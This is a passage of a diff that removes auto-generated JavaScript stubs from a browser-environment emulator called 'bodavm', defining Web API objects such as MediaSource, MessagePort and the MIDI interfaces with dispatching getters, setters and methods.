-bodavm.toolsFunc.defineProperty('MediaRecorder', "requestData", {configurable:true, enumerable:true, writable:true, value:function requestData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "requestData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stop", arguments)}},'prototype'); - -// MediaSession对象 -bodavm.memory.globalobj['MediaSession'] = function MediaSession(){if (!(this instanceof MediaSession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSession'], "MediaSession"); -bodavm.toolsFunc.defineProperty('MediaSession', "metadata", {configurable:true, enumerable:true, get:function metadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_get", arguments)}, set:function metadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "playbackState", {configurable:true, enumerable:true, get:function playbackState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_get", arguments)}, set:function playbackState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setActionHandler", {configurable:true, enumerable:true, writable:true, value:function setActionHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setActionHandler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setCameraActive", {configurable:true, enumerable:true, writable:true, value:function setCameraActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setCameraActive", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setMicrophoneActive", {configurable:true, enumerable:true, writable:true, value:function setMicrophoneActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setMicrophoneActive", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSession', "setPositionState", {configurable:true, enumerable:true, writable:true, value:function setPositionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setPositionState", arguments)}},'prototype'); - -// MediaSource对象 -bodavm.memory.globalobj['MediaSource'] = function MediaSource(){this._boarg= new bodaobj.window.MediaSource();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSource'], "MediaSource"); -bodavm.memory.globalobj['MediaSource'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaSource'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaSource', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('MediaSource', "canConstructInDedicatedWorker", {configurable:true, enumerable:true, get:function canConstructInDedicatedWorker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "canConstructInDedicatedWorker_get", arguments, true)}, set:undefined}); -bodavm.toolsFunc.defineProperty('MediaSource', "sourceBuffers", {configurable:true, enumerable:true, get:function sourceBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "sourceBuffers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "activeSourceBuffers", {configurable:true, enumerable:true, get:function activeSourceBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "activeSourceBuffers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_get", arguments)}, set:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceopen", {configurable:true, enumerable:true, get:function onsourceopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_get", arguments)}, set:function onsourceopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceended", {configurable:true, enumerable:true, get:function onsourceended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_get", arguments)}, set:function onsourceended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "onsourceclose", {configurable:true, enumerable:true, get:function onsourceclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_get", arguments)}, set:function onsourceclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "addSourceBuffer", {configurable:true, enumerable:true, writable:true, value:function addSourceBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "addSourceBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "clearLiveSeekableRange", {configurable:true, enumerable:true, writable:true, value:function clearLiveSeekableRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "clearLiveSeekableRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "endOfStream", {configurable:true, enumerable:true, writable:true, value:function endOfStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "endOfStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "removeSourceBuffer", {configurable:true, enumerable:true, writable:true, value:function removeSourceBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "removeSourceBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaSource', "setLiveSeekableRange", {configurable:true, enumerable:true, writable:true, value:function setLiveSeekableRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "setLiveSeekableRange", arguments)}},'prototype'); - -// MediaSourceHandle对象 -bodavm.memory.globalobj['MediaSourceHandle'] = function MediaSourceHandle(){if (!(this instanceof MediaSourceHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSourceHandle'], "MediaSourceHandle"); - -// MediaStreamAudioDestinationNode对象 -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'] = function MediaStreamAudioDestinationNode(){if (!(this instanceof MediaStreamAudioDestinationNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioDestinationNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioDestinationNode'], "MediaStreamAudioDestinationNode"); -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaStreamAudioDestinationNode', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype, "MediaStreamAudioDestinationNode", "stream_get", arguments)}, set:undefined},'prototype'); - -// MediaStreamAudioSourceNode对象 -bodavm.memory.globalobj['MediaStreamAudioSourceNode'] = function MediaStreamAudioSourceNode(){if (!(this instanceof MediaStreamAudioSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioSourceNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioSourceNode'], "MediaStreamAudioSourceNode"); -bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaStreamAudioSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaStreamAudioSourceNode', "mediaStream", {configurable:true, enumerable:true, get:function mediaStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype, "MediaStreamAudioSourceNode", "mediaStream_get", arguments)}, set:undefined},'prototype'); - -// MediaStreamEvent对象 -bodavm.memory.globalobj['MediaStreamEvent'] = function MediaStreamEvent(){if (!(this instanceof MediaStreamEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamEvent'], "MediaStreamEvent"); -bodavm.memory.globalobj['MediaStreamEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaStreamEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaStreamEvent', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamEvent'].prototype, "MediaStreamEvent", "stream_get", arguments)}, set:undefined},'prototype'); - -// MediaStreamTrackEvent对象 -bodavm.memory.globalobj['MediaStreamTrackEvent'] = function MediaStreamTrackEvent(){if (!(this instanceof MediaStreamTrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackEvent'], "MediaStreamTrackEvent"); -bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaStreamTrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaStreamTrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype, "MediaStreamTrackEvent", "track_get", arguments)}, set:undefined},'prototype'); - -// MediaStreamTrackGenerator对象 -bodavm.memory.globalobj['MediaStreamTrackGenerator'] = function MediaStreamTrackGenerator(){if (!(this instanceof MediaStreamTrackGenerator)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackGenerator': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackGenerator'], "MediaStreamTrackGenerator"); -bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['MediaStreamTrackGenerator'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('MediaStreamTrackGenerator', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype, "MediaStreamTrackGenerator", "writable_get", arguments)}, set:undefined},'prototype'); - -// MediaStreamTrackProcessor对象 -bodavm.memory.globalobj['MediaStreamTrackProcessor'] = function MediaStreamTrackProcessor(){if (!(this instanceof MediaStreamTrackProcessor)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackProcessor': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackProcessor'], "MediaStreamTrackProcessor"); -bodavm.toolsFunc.defineProperty('MediaStreamTrackProcessor', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackProcessor'].prototype, "MediaStreamTrackProcessor", "readable_get", arguments)}, set:undefined},'prototype'); - -// menubar对象 -bodavm.memory.globalobj['menubar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['menubar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// MessageChannel对象 -bodavm.memory.globalobj['MessageChannel'] = function MessageChannel(){this._boarg= new bodaobj.window.MessageChannel();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageChannel'], "MessageChannel"); -bodavm.toolsFunc.defineProperty('MessageChannel', "port1", {configurable:true, enumerable:true, get:function port1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageChannel', "port2", {configurable:true, enumerable:true, get:function port2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port2_get", arguments)}, set:undefined},'prototype'); - -// MessageEvent对象 -bodavm.memory.globalobj['MessageEvent'] = function MessageEvent(){if (!(this instanceof MessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MessageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageEvent'], "MessageEvent"); -bodavm.memory.globalobj['MessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MessageEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "lastEventId", {configurable:true, enumerable:true, get:function lastEventId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "lastEventId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "source_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "ports", {configurable:true, enumerable:true, get:function ports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "ports_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "userActivation", {configurable:true, enumerable:true, get:function userActivation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "userActivation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MessageEvent', "initMessageEvent", {configurable:true, enumerable:true, writable:true, value:function initMessageEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "initMessageEvent", arguments)}},'prototype'); - -// MessagePort对象 -bodavm.memory.globalobj['MessagePort'] = function MessagePort(){if (!(this instanceof MessagePort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessagePort'], "MessagePort"); -bodavm.memory.globalobj['MessagePort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MessagePort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MessagePort', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "postMessage", {configurable:true, enumerable:true, writable:true, value:function postMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "postMessage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MessagePort', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "start", arguments)}},'prototype'); - -// MIDIPort对象 -bodavm.memory.globalobj['MIDIPort'] = function MIDIPort(){if (!(this instanceof MIDIPort)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIPort'], "MIDIPort"); -bodavm.memory.globalobj['MIDIPort'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MIDIPort'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MIDIPort', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "connection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "manufacturer", {configurable:true, enumerable:true, get:function manufacturer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "manufacturer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "version_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIPort', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "open", arguments)}},'prototype'); - -// MIDIAccess对象 -bodavm.memory.globalobj['MIDIAccess'] = function MIDIAccess(){if (!(this instanceof MIDIAccess)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIAccess'], "MIDIAccess"); -bodavm.memory.globalobj['MIDIAccess'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MIDIAccess'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MIDIAccess', "inputs", {configurable:true, enumerable:true, get:function inputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "inputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "outputs", {configurable:true, enumerable:true, get:function outputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "outputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "sysexEnabled", {configurable:true, enumerable:true, get:function sysexEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "sysexEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIAccess', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_set", arguments)}},'prototype'); - -// MIDIConnectionEvent对象 -bodavm.memory.globalobj['MIDIConnectionEvent'] = function MIDIConnectionEvent(){if (!(this instanceof MIDIConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIConnectionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIConnectionEvent'], "MIDIConnectionEvent"); -bodavm.memory.globalobj['MIDIConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MIDIConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MIDIConnectionEvent', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIConnectionEvent'].prototype, "MIDIConnectionEvent", "port_get", arguments)}, set:undefined},'prototype'); - -// MIDIInput对象 -bodavm.memory.globalobj['MIDIInput'] = function MIDIInput(){if (!(this instanceof MIDIInput)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInput'], "MIDIInput"); -bodavm.memory.globalobj['MIDIInput'].prototype.__proto__=bodavm.memory.globalobj['MIDIPort'].prototype; -bodavm.memory.globalobj['MIDIInput'].__proto__=bodavm.memory.globalobj['MIDIPort']; -bodavm.toolsFunc.defineProperty('MIDIInput', "onmidimessage", {configurable:true, enumerable:true, get:function onmidimessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_get", arguments)}, set:function onmidimessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_set", arguments)}},'prototype'); - -// MIDIInputMap对象 -bodavm.memory.globalobj['MIDIInputMap'] = function MIDIInputMap(){if (!(this instanceof MIDIInputMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInputMap'], "MIDIInputMap"); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIInputMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "values", arguments)}},'prototype'); - -// MIDIMessageEvent对象 -bodavm.memory.globalobj['MIDIMessageEvent'] = function MIDIMessageEvent(){if (!(this instanceof MIDIMessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIMessageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIMessageEvent'], "MIDIMessageEvent"); -bodavm.memory.globalobj['MIDIMessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MIDIMessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MIDIMessageEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIMessageEvent'].prototype, "MIDIMessageEvent", "data_get", arguments)}, set:undefined},'prototype'); - -// MIDIOutput对象 -bodavm.memory.globalobj['MIDIOutput'] = function MIDIOutput(){if (!(this instanceof MIDIOutput)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutput'], "MIDIOutput"); -bodavm.memory.globalobj['MIDIOutput'].prototype.__proto__=bodavm.memory.globalobj['MIDIPort'].prototype; 